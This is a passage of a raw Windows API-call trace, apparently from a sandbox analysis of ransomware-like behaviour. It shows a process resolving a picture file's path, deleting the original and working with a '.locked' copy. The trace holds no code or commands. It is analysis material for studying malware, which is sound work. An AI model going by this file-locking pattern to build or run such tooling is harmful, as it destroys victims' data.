(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif")) returned 0x20 [0136.528] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.528] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.529] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.529] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.529] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.529] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.529] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.529] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.529] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.529] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.529] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.529] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.529] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.529] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.529] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.529] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.530] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.530] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.530] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.530] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.530] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.530] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.530] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.530] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.530] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.530] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif")) returned 0x20 [0136.530] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.530] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.531] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.531] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.531] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif\\", lpFilePart=0x0) returned 0x58 [0136.531] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0136.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.531] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.531] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.531] CoTaskMemFree (pv=0x8eb8d30) [0136.532] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif")) returned 0x20 [0136.532] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.532] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif"), fInfoLevelId=0x0, lpFileInformation=0x69e1624 | out: lpFileInformation=0x69e1624*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1b95f0, ftCreationTime.dwHighDateTime=0x1d4a3f0, ftLastAccessTime.dwLowDateTime=0xb220c530, ftLastAccessTime.dwHighDateTime=0x1d4a827, ftLastWriteTime.dwLowDateTime=0xb220c530, ftLastWriteTime.dwHighDateTime=0x1d4a827, nFileSizeHigh=0x0, nFileSizeLow=0x7e93)) returned 1 [0136.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.532] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif")) returned 1 [0136.534] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.534] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.534] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.534] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.534] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.535] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif.locked")) returned 0x20 [0136.535] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif.locked")) returned 0x20 [0136.535] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked", lpFilePart=0x0) returned 0x5e [0136.535] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked", lpFilePart=0x0) returned 0x5e [0136.535] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.535] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.536] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.536] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.536] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.536] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.537] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.537] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.537] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.537] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.537] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.539] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.539] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.539] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.539] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.539] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.540] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.540] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.540] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.540] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.540] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.542] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.542] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.542] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.542] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.542] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.544] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.544] GetFullPathNameW (in: 